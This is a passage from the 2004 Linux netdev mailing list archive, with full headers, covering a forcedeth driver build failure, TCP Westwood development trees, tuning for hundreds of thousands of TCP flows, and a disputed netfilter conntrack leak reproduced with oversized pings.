assignee. From c-d.hailfinger.kernel.2004@gmx.net Sun Feb 1 10:34:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 01 Feb 2004 10:34:38 -0800 (PST) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i11IYW7J019244 for ; Sun, 1 Feb 2004 10:34:32 -0800 Received: (qmail 23324 invoked by uid 65534); 1 Feb 2004 18:34:26 -0000 Received: from stud213178.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.213.178) by mail.gmx.net (mp005) with SMTP; 01 Feb 2004 19:34:26 +0100 X-Authenticated: #21910825 Message-ID: <401D46AD.2040009@gmx.net> Date: Sun, 01 Feb 2004 19:34:21 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: "Pablo R. Dartnell" CC: netdev@oss.sgi.com Subject: Re: forcedeth: Compilation fails for kernel 2.4.24 References: <401D2F80.20007@dim.uchile.cl> In-Reply-To: <401D2F80.20007@dim.uchile.cl> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2926 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev Hi Pablo, Pablo R. Dartnell wrote: > Hi, > > Let me tell you first that I am not a programmer, so I am afraid all I > can tell you here is plainly what happened, but not why or what could > fix it. I found these addresses at the web page: > http://www.hailfinger.org/carldani/linux/patches/forcedeth/, > and I thought I should let you know what happened when trying to compile > the 2.4.24 kernel with the "forcedeth_2_4_patch_v22.txt" patch applied. Your report gives all necessary details. > Here are the last few lines of output when running "make modules_install": > [...] > forcedeth.c: In function `probe_nic': > forcedeth.c:1321: warning: implicit declaration of function > `SET_NETDEV_DEV' > forcedeth.c:1321: structure has no member named `dev' The problem is known and there are two possible solutions: 1. Apply patch-2.4.25-pre8.gz from ftp://ftp.kernel.org/pub/linux/kernel/v2.4/testing/ 2. Send me some mail requesting the necessary compatibility headers Basically, forcedeth 0.22 and later versions need either a 2.6 series kernel or 2.4.25-pre7 or later. That allowed me to remove much of the compatibility cruft. HTH, Carl-Daniel -- http://www.hailfinger.org/ From davem@redhat.com Sun Feb 1 11:49:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 01 Feb 2004 11:49:42 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i11Jnc7J021362; Sun, 1 Feb 2004 11:49:38 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i11Jnbb27575; Sun, 1 Feb 2004 14:49:37 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i11Jnba03911; Sun, 1 Feb 2004 14:49:37 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i11Jn8kC001856; Sun, 1 Feb 2004 14:49:09 -0500 Date: Sun, 1 Feb 2004 11:49:36 -0800 From: "David S. Miller" To: netdev@oss.sgi.com Cc: linux-net@oss.sgi.com Subject: TCP westwood 2.4.x and 2.6.x net BK trees Message-Id: <20040201114936.08f42cad.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2927 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev For the BK inclined, I've put up a publicly accessible BK tree of the 2.4.x TCP Westwood stuff at: bk://kernel.bkbits.net/davem/tcpwestwood-2.4 so people can play with it if they want. Remember you need to enable the /proc/sys/net/ipv4/tcp_westwood sysctl for the new code to even be used :-) I've also put my current 2.6.3-pre1 pending networking tree up at: bk://kernel.bkbits.net/davem/net-2.5 It has Stephen's westwood port in it. Enjoy. ChangeSet@1.1301.1.1, 2004-01-30 13:05:20-08:00, buffer@antifork.org [TCP]: Add Westwood+ support, off by default. include/linux/sysctl.h | 1 include/net/sock.h | 15 ++ include/net/tcp.h | 121 ++++++++++++++++++ net/ipv4/sysctl_net_ipv4.c | 6 net/ipv4/tcp_input.c | 290 ++++++++++++++++++++++++++++++++++++++++++++- 5 files changed, 429 insertions(+), 4 deletions(-) ChangeSet@1.1301.1.2, 2004-01-30 14:57:14-08:00, davem@nuts.davemloft.net [TCP]: Put tcp_ prefix on global westwood symbols. include/net/tcp.h | 46 +++++++++++++++++++++++----------------------- net/ipv4/tcp_input.c | 22 +++++++++++----------- 2 files changed, 34 insertions(+), 34 deletions(-) ChangeSet@1.1301.1.3, 2004-01-30 15:19:14-08:00, davem@nuts.davemloft.net [TCP]: Coding style fixes to westwood code. include/net/tcp.h | 76 ++++++++++++++++------------------- net/ipv4/tcp_input.c | 110 +++++++++++++++++++++++---------------------------- 2 files changed, 87 insertions(+), 99 deletions(-) ChangeSet@1.1301.1.4, 2004-01-30 15:23:52-08:00, davem@nuts.davemloft.net [TCP]: Kill westwood specific lock, unneeded. include/net/sock.h | 1 - include/net/tcp.h | 1 - net/ipv4/tcp_input.c | 15 +-------------- 3 files changed, 1 insertion(+), 16 deletions(-) ChangeSet@1.1301.1.5, 2004-02-01 11:06:29-08:00, davem@nuts.davemloft.net [TCP]: Kill bogus reference to CONFIG_TCP_WESTWOOD. net/ipv4/tcp_input.c | 8 ++++---- 1 files changed, 4 insertions(+), 4 deletions(-) ChangeSet@1.1307, 2004-02-01 11:43:53-08:00, davem@kernel.bkbits.net Merge davem@nuts.davemloft.net:/disk1/davem/BK/tcp-2.4 into kernel.bkbits.net:/home/davem/tcpwestwood-2.4 include/linux/sysctl.h | 1 + 1 files changed, 1 insertion(+) From gozdal@gozdal.eu.org Sun Feb 1 13:58:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 01 Feb 2004 13:58:42 -0800 (PST) Received: from mail.gozdal.eu.org (115-mo3-8.acn.waw.pl [62.121.111.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i11Lwb7J027702 for ; Sun, 1 Feb 2004 13:58:38 -0800 Received: by mail.gozdal.eu.org (Postfix, from userid 1000) id 524382A1; Sun, 1 Feb 2004 22:58:36 +0100 (CET) Date: Sun, 1 Feb 2004 22:58:36 +0100 To: netdev@oss.sgi.com Subject: Handling a few hundred thousand TCP flows Message-ID: <20040201215836.GC16978@gozdal.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040112i From: gozdal@gozdal.eu.org (Marcin Gozdalik) X-archive-position: 2928 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gozdal@gozdal.eu.org Precedence: bulk X-list: netdev Hello I've been successfully using Linux 2.4 for handling many thousands TCP flows (300k non-stop). I've been wondering which options I should use to minimize CPU and memory consumption. I've followed the thread from December about handling 90k TCP streams and suggestions contained there. I thought however of some more radical solutions: disabling rt_cache altogether. The routing table contains whole 2 entries (for eth0 subnet and default gateway) so I'd assume that walking linearily such short list would be a win cache-wise compared to huge rt_cache? Or is it a completely stupid idea not worth implementing? Additionally, I've disabled ECN and SACKs. Does it make any sense? Or are performance/memory gains negligible? Cheers, Marcin From davem@redhat.com Sun Feb 1 15:24:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 01 Feb 2004 15:24:51 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i11NOd7J030718 for ; Sun, 1 Feb 2004 15:24:40 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i11NObb19091; Sun, 1 Feb 2004 18:24:37 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i11NOba29729; Sun, 1 Feb 2004 18:24:37 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i11NO8kC013180; Sun, 1 Feb 2004 18:24:08 -0500 Date: Sun, 1 Feb 2004 15:24:35 -0800 From: "David S. Miller" To: Pete Zaitcev Cc: schwidefsky@de.ibm.com, zaitcev@redhat.com, utz.bacher@de.ibm.com, pavlic@de.ibm.com, netdev@oss.sgi.com Subject: Re: netdevice->generate_eui64 Message-Id: <20040201152435.34f4231e.davem@redhat.com> In-Reply-To: <20040130170316.789e8939.zaitcev@redhat.com> References: <20040130170316.789e8939.zaitcev@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2929 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 30 Jan 2004 17:03:16 -0800 Pete Zaitcev wrote: > Does anyone know where I can find a patch to add dev->generate_eui64? > The qeth in 2.6 tree requires it to be built (with IPv6). I am talking > about a descendant of this patch: > http://www.ussg.iu.edu/hypermail/linux/net/0303.0/0037.html I don't want to see this btw, as I mentioned ipv6 specific things do not belong in the generic device struct. There surely are better ways and I'm totally open to suggestions. From alextreme@xs4all.nl Sun Feb 1 16:47:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 01 Feb 2004 16:47:14 -0800 (PST) Received: from am.xs4all.nl (mail@am.xs4all.nl [213.84.116.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i120l77J004022 for ; Sun, 1 Feb 2004 16:47:09 -0800 Received: from www-data by am.xs4all.nl with local (Exim 3.36 #1 (Debian)) id 1AnSEw-0006X5-00; Mon, 02 Feb 2004 01:47:02 +0100 Received: from omega (omega [127.0.0.1]) by am.xs4all.nl (IMP) with HTTP for ; Mon, 2 Feb 2004 01:47:02 +0100 Message-ID: <1075682822.401d9e06885a0@am.xs4all.nl> Date: Mon, 2 Feb 2004 01:47:02 +0100 From: Alex de Landgraaf To: netdev@oss.sgi.com Cc: Carl-Daniel Hailfinger Subject: [forcedeth] SET_NETDEV_DEV define MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.2.2 X-archive-position: 2930 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alextreme@xs4all.nl Precedence: bulk X-list: netdev Hey guys, Nice work on the forcedeth patches! I've been waiting for a nvnet alternative for some time, and this seems to be it. Anyway, in the forcedeth 2.4 v22 patch, it seems that forcedeth.c is missing the #define SET_NETDEV_DEV from v20. Adding it is relativly simple, just wanted to let you guys know that it doesn't compile on 2.4.23+ kernels (if you hadn't heard this earlier). from v20: #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,5,70)) #define SET_NETDEV_DEV(x,y) do { } while(0) #endif Could make a patch for it, but honestly I can't be bothered :) It could also be that I got it completly wrong, in which case you can smack me with the cluebat Cheers and keep up with the good work, /------------------------------------------------------------------\ | Alex de Landgraaf | The cure for boredom is curiosity | | Student AI & CS, VU, A'dam | There is no cure for curiosity | | Phone: 06-16844084 | | | GPG: http://am.xs4all.nl/key_alex.asc /'-'\ | | www.alextreme.org & www.morphix.org ( o o ) | \------------------------------------------oOO0--(_)--0OOo---------/ From c-d.hailfinger.kernel.2004@gmx.net Sun Feb 1 17:18:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 01 Feb 2004 17:18:39 -0800 (PST) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i121IZ7J005328 for ; Sun, 1 Feb 2004 17:18:36 -0800 Received: (qmail 26450 invoked by uid 65534); 2 Feb 2004 01:18:29 -0000 Received: from stud212086.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.212.86) by mail.gmx.net (mp009) with SMTP; 02 Feb 2004 02:18:29 +0100 X-Authenticated: #21910825 Message-ID: <401DA565.4050303@gmx.net> Date: Mon, 02 Feb 2004 02:18:29 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Alex de Landgraaf CC: netdev@oss.sgi.com Subject: Re: [forcedeth] SET_NETDEV_DEV define References: <1075682822.401d9e06885a0@am.xs4all.nl> In-Reply-To: <1075682822.401d9e06885a0@am.xs4all.nl> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2931 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev Hi Alex, Alex de Landgraaf wrote: > Hey guys, > > Nice work on the forcedeth patches! I've been waiting for a nvnet alternative > for some time, and this seems to be it. > > Anyway, in the forcedeth 2.4 v22 patch, it seems that forcedeth.c is missing the > #define SET_NETDEV_DEV from v20. Adding it is relativly simple, just wanted to > let you guys know that it doesn't compile on 2.4.23+ kernels (if you hadn't > heard this earlier). SET_NETDEV_DEV is in since 2.4.24-pre1 (but not in 2.4.24 due to branching), so I decided to drop the macro. However it seems many people use older kernels, so I will probably provide a patch that will also compile for kernels older than current prepatches. Since this has bitten a few users in the past week, I added a note to the documents at http://www.hailfinger.org/carldani/linux/patches/forcedeth/ Basically, I wanted to reduce compatibility cruft to zero before submitting the driver to Marcelo. Thanks for the heads up, Carl-Daniel From weixl@caltech.edu Sun Feb 1 22:01:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 01 Feb 2004 22:01:48 -0800 (PST) Received: from steelemr-loadb-nat-49.caltech.edu (SteeleMR-loadb-NAT-49.caltech.edu [131.215.49.69]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1261h7J018208 for ; Sun, 1 Feb 2004 22:01:43 -0800 Received: from water-dog (water-dog [192.168.1.26]) by water-ox-postvirus (Postfix) with ESMTP id 4ADA726ADE2; Sun, 1 Feb 2004 22:01:38 -0800 (PST) Received: from water-ox ([192.168.1.10]) by water-dog (MailMonitor for SMTP v1.2.2 ) ; Sun, 1 Feb 2004 22:01:37 -0800 (PST) Received: from weixl (DHCP-45-225.cs.caltech.edu [131.215.45.225]) by water-ox.its.caltech.edu (Postfix) with ESMTP id 4CF4D26ADE6; Sun, 1 Feb 2004 22:01:37 -0800 (PST) Message-ID: <005401c3e952$04c279f0$f5f2010a@weixl> From: "Xiaoliang (David) Wei" To: , "Marcin Gozdalik" References: <20040201215836.GC16978@gozdal.eu.org> Subject: Re: Handling a few hundred thousand TCP flows Date: Sun, 1 Feb 2004 22:01:37 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-archive-position: 2932 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: weixl@caltech.edu Precedence: bulk X-list: netdev Hi, > I've been successfully using Linux 2.4 for handling many thousands TCP > flows (300k non-stop). I've been wondering which options I should use to > minimize CPU and memory consumption. > I've followed the thread from December about handling 90k TCP streams > and suggestions contained there. I thought however of some more radical > solutions: disabling rt_cache altogether. The routing table contains > whole 2 entries (for eth0 subnet and default gateway) so I'd assume that > walking linearily such short list would be a win cache-wise compared to > huge rt_cache? Or is it a completely stupid idea not worth implementing? > Additionally, I've disabled ECN and SACKs. Does it make any sense? Or > are performance/memory gains negligible? I think SACK will have some overhead since it goes through the retransmission queue for each SACK option. But this only happens when the ack packet contains SACK. For memory, Linux allocate a block of memory for each connection (usually 64KB). This is the buffer for the sliding-window algorithm. You can change this memory buffer size to be w. The principle is that: w*N cannot be too large in comparison to the memory in you machine (where N is # of connections). The effect of a small buffer size w is that the window for each TCP conneciton cannot be high -- hence the throughput of each flow is low if the RTT is not negligible. Web100 project (http://www.web100.org) provide a patch to dynamically allocate memory for different flows and maintains a static size of aggregate buffer for all the connections. -David From steve@navaho.co.uk Mon Feb 2 00:56:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 00:57:04 -0800 (PST) Received: from pinus.navaho (fairchild-196.adsl.newnet.co.uk [213.131.187.196]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i128uu7J027083 for ; Mon, 2 Feb 2004 00:56:57 -0800 Received: from 10.0.0.42 (steve@navaho.co.uk) by pinus.navaho with SMTP (Navaho Galium v3.8.1 [Linux/i686]) id: 1075711409; Mon, 02 Feb 2004 08:56:45 GMT X-Sender-Local: 10.0.0.42 Received: from sorbus2.navaho (localhost.localdomain [127.0.0.1]) by sorbus2.navaho (8.12.10/8.12.10) with ESMTP id i128uj5G004118 for ; Mon, 2 Feb 2004 08:56:45 GMT Received: from localhost (steve@localhost) by sorbus2.navaho (8.12.10/8.12.10/Submit) with ESMTP id i128uj6m004114 for ; Mon, 2 Feb 2004 08:56:45 GMT X-Authentication-Warning: sorbus2.navaho: steve owned process doing -bs Date: Mon, 2 Feb 2004 08:56:45 +0000 (GMT) From: Steve Hill X-X-Sender: steve@sorbus2.navaho To: netdev@oss.sgi.com Subject: Conntrack leak (2.6.2rc2) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Navaho-ID: 401e0db1 X-Domain-Forwarded-By: pinus.navaho X-Navaho-Spam-Rating: 0.000000 X-Spam-Override: Local user [steve@navaho.co.uk] X-Navaho-Spam: No X-archive-position: 2934 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: steve@navaho.co.uk Precedence: bulk X-list: netdev Content-Length: 1243 Lines: 29 I've already posted this to the netfilter-devel list and had no response so I'm hoping that some of you might have some insight into the problem: I'm using the 2.6.2rc2 kernel and have a strange connection tracking problem - when using unfragmented packets every thing is fine - a new connection is made and init_conntrack() is called, and as the session is timed out by conntrack, destroy_conntrack() is called. Absolutely fine. However, if I start a connection with a fragmented packet (i.e. my MTU is 1500 bytes, so "ping -c 1 -s 2500 172.16.0.1" sends a packet consisting of 2 fragments), init_conntrack() is called as usual, but when the session is timed out destroy_conntrack() never gets called. This means that the memory for the connection is never freed and ip_conntrack_count is never decremented. However, the connection is still removed from the hash table. This means that it leaks memory, and eventually reaches ip_conntrack_max and starts dropping new connections. -- - Steve Hill Senior Software Developer Email: steve@navaho.co.uk Navaho Technologies Ltd. Tel: +44-870-7034015 ... Alcohol and calculus don't mix - Don't drink and derive! ... From steve@navaho.co.uk Mon Feb 2 01:46:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 01:46:35 -0800 (PST) Received: from pinus.navaho (fairchild-196.adsl.newnet.co.uk [213.131.187.196]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i129kT7J028545 for ; Mon, 2 Feb 2004 01:46:29 -0800 Received: from 10.0.0.42 (steve@navaho.co.uk) by pinus.navaho with SMTP (Navaho Galium v3.8.1 [Linux/i686]) id: 1075711488; Mon, 02 Feb 2004 09:46:19 GMT X-Sender-Local: 10.0.0.42 Received: from sorbus2.navaho (localhost.localdomain [127.0.0.1]) by sorbus2.navaho (8.12.10/8.12.10) with ESMTP id i129kJ5G004331; Mon, 2 Feb 2004 09:46:19 GMT Received: from localhost (steve@localhost) by sorbus2.navaho (8.12.10/8.12.10/Submit) with ESMTP id i129kJZZ004327; Mon, 2 Feb 2004 09:46:19 GMT X-Authentication-Warning: sorbus2.navaho: steve owned process doing -bs Date: Mon, 2 Feb 2004 09:46:19 +0000 (GMT) From: Steve Hill X-X-Sender: steve@sorbus2.navaho To: Jozsef Kadlecsik cc: netdev@oss.sgi.com Subject: Re: Conntrack leak (2.6.2rc2) In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Navaho-ID: 401e0df9 X-Domain-Forwarded-By: pinus.navaho X-Navaho-Spam-Rating: 0.000000 X-Spam-Override: Local user [steve@navaho.co.uk] X-Navaho-Spam: No X-archive-position: 2935 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: steve@navaho.co.uk Precedence: bulk X-list: netdev Content-Length: 1401 Lines: 29 On Mon, 2 Feb 2004, Jozsef Kadlecsik wrote: > init_conntrack is called only when we have full, non-fragmented > packets: ip_conntrack_in explicitly calls the proper function to gather > the fragments before calling init_conntrack. There is no memory leak > there. From my observations, init_conntrack() is being called for each packet (not fragment, packet), which seems right. destroy_conntrack() is, however, _not_ being called for any packets that are fragmented (i.e. it is not being called for the complete packet). This is leading to the memory never being freed, and the conntrack count never being decremented even though the connection has been removed from the hash table. There _is_ a memory leak here - it is observable and completely reproducable. If I make a number of > MTU sized pings from a machine connected to one NIC to a machine connected another NIC (i.e. the packets will be fragmented), ip_conntrack_count grows until it reaches ip_conntrack_max, at which point it starts dropping new connections. the ip_conntrack memory listed in /proc/slabinfo also grows. Neither the memory or the connection count ever shrink again. - Steve Hill Senior Software Developer Email: steve@navaho.co.uk Navaho Technologies Ltd. Tel: +44-870-7034015 ... Alcohol and calculus don't mix - Don't drink and derive! ... From kadlec@blackhole.kfki.hu Mon Feb 2 02:02:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 02:02:28 -0800 (PST) Received: from blackhole.kfki.hu (blackhole.kfki.hu [148.6.0.114]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12A2D7J029750 for ; Mon, 2 Feb 2004 02:02:13 -0800 Received: by blackhole.kfki.hu (Postfix, from userid 311) id DA2EE87B1; Mon, 2 Feb 2004 10:22:17 +0100 (CET) Date: Mon, 2 Feb 2004 10:22:17 +0100 (CET) From: Jozsef Kadlecsik To: Steve Hill Cc: Subject: Re: Conntrack leak (2.6.2rc2) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2936 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kadlec@blackhole.kfki.hu Precedence: bulk X-list: netdev Content-Length: 1088 Lines: 26 Hi Steve, On Mon, 2 Feb 2004, Steve Hill wrote: > However, if I start a connection with a fragmented packet (i.e. my MTU > is 1500 bytes, so "ping -c 1 -s 2500 172.16.0.1" sends a packet consisting > of 2 fragments), init_conntrack() is called as usual, but when the session > is timed out destroy_conntrack() never gets called. This means that the > memory for the connection is never freed and ip_conntrack_count is never > decremented. However, the connection is still removed from the hash > table. This means that it leaks memory, and eventually reaches > ip_conntrack_max and starts dropping new connections. init_conntrack is called only when we have full, non-fragmented packets: ip_conntrack_in explicitly calls the proper function to gather the fragments before calling init_conntrack. There is no memory leak there. Best regards, Jozsef - E-mail : kadlec@blackhole.kfki.hu, kadlec@sunserv.kfki.hu PGP key : http://www.kfki.hu/~kadlec/pgp_public_key.txt Address : KFKI Research Institute for Particle and Nuclear Physics H-1525 Budapest 114, POB. 49, Hungary From steve@navaho.co.uk Mon Feb 2 02:48:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 02:48:23 -0800 (PST) Received: from pinus.navaho (fairchild-196.adsl.newnet.co.uk [213.131.187.196]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12AmJ7J000501 for ; Mon, 2 Feb 2004 02:48:19 -0800 Received: from 10.0.0.42 (steve@navaho.co.uk) by pinus.navaho with SMTP (Navaho Galium v3.8.1 [Linux/i686]) id: 1075711579; Mon, 02 Feb 2004 10:48:08 GMT X-Sender-Local: 10.0.0.42 Received: from sorbus2.navaho (localhost.localdomain [127.0.0.1]) by sorbus2.navaho (8.12.10/8.12.10) with ESMTP id i12Am85G006201; Mon, 2 Feb 2004 10:48:08 GMT Received: from localhost (steve@localhost) by sorbus2.navaho (8.12.10/8.12.10/Submit) with ESMTP id i12Am8Bh006197; Mon, 2 Feb 2004 10:48:08 GMT X-Authentication-Warning: sorbus2.navaho: steve owned process doing -bs Date: Mon, 2 Feb 2004 10:48:08 +0000 (GMT) From: Steve Hill X-X-Sender: steve@sorbus2.navaho To: Jozsef Kadlecsik cc: netdev@oss.sgi.com Subject: Re: Conntrack leak (2.6.2rc2) In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Navaho-ID: 401e0e40 X-Domain-Forwarded-By: pinus.navaho X-Navaho-Spam-Rating: 0.000000 X-Spam-Override: Local user [steve@navaho.co.uk] X-Navaho-Spam: No X-archive-position: 2937 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: steve@navaho.co.uk Precedence: bulk X-list: netdev Content-Length: 1986 Lines: 56 On Mon, 2 Feb 2004, Jozsef Kadlecsik wrote: > > >From my observations, init_conntrack() is being called for each packet > > (not fragment, packet), which seems right. > > No, that's not true (and would be bad). Please check the code. I have added to the top of init_conntrack(): printk("Init conntrack\n"); Doing: ping -n 172.16.0.1 -c 1 -s 2500 through the machine now causes the kernel to output "Init conntrack", proving the function is being called. > Yes, because fragmented packets does not lead to conntrack entries - > there is nothing to be freed. If fragmented packets do not lead to conntrack entries, how are their connections tracked? I was under the impression that fragmented packets were received by one NIC, defragged, pushed through all the netfilter code and then transmitted by another NIC (after being fragmented again if they are > MTU size)? > I could not reproduce it: test machine with 2.6.1 + patch-2.6.2-rc2, > ip_conntrack_max lowered to 10. From another machine, in a loop, 400 > times: > > ping -c 1 -s 2500 test-machine > > No "ip_conntrack: table full, dropping packet" message on test-machine. > No problem shown up in /proc/slabinfo either. Just to confirm, you have your network set up like: [ Machine 1 ]----[ Machine 2 ]----[Machine 3] Machines 1 and 3 are running the 2.4 kernel for me, but that shouldn't be important. Machine 2 is running 2.6.2rc2. I am making > MTU sized pings from machine 1 to machine 3 and machine 2 is showing the leak. Pinging machine 2 from machine 1 does not show any such problems, I have not tried pinging from machine 2 itself. I'm not sure if makes any difference, the NICs are eepro100's but I have also reproduced the problem on eepro1000's. - Steve Hill Senior Software Developer Email: steve@navaho.co.uk Navaho Technologies Ltd. Tel: +44-870-7034015 ... Alcohol and calculus don't mix - Don't drink and derive! ... From kadlec@blackhole.kfki.hu Mon Feb 2 03:09:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 03:09:14 -0800 (PST) Received: from blackhole.kfki.hu (blackhole.kfki.hu [148.6.0.114]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12B8q7J001704 for ; Mon, 2 Feb 2004 03:08:53 -0800 Received: by blackhole.kfki.hu (Postfix, from userid 311) id 5C21387B1; Mon, 2 Feb 2004 11:34:22 +0100 (CET) Date: Mon, 2 Feb 2004 11:34:22 +0100 (CET) From: Jozsef Kadlecsik To: Steve Hill Cc: Subject: Re: Conntrack leak (2.6.2rc2) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2939 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kadlec@blackhole.kfki.hu Precedence: bulk X-list: netdev Content-Length: 1677 Lines: 43 On Mon, 2 Feb 2004, Steve Hill wrote: > > init_conntrack is called only when we have full, non-fragmented > > packets: ip_conntrack_in explicitly calls the proper function to gather > > the fragments before calling init_conntrack. There is no memory leak > > there. > > >From my observations, init_conntrack() is being called for each packet > (not fragment, packet), which seems right. No, that's not true (and would be bad). Please check the code. > destroy_conntrack() is, however, _not_ being called for any packets > that are fragmented Yes, because fragmented packets does not lead to conntrack entries - there is nothing to be freed. > There _is_ a memory leak here - it is observable and completely > reproducable. If I make a number of > MTU sized pings from a machine > connected to one NIC to a machine connected another NIC (i.e. the packets > will be fragmented), ip_conntrack_count grows until it reaches > ip_conntrack_max, at which point it starts dropping new 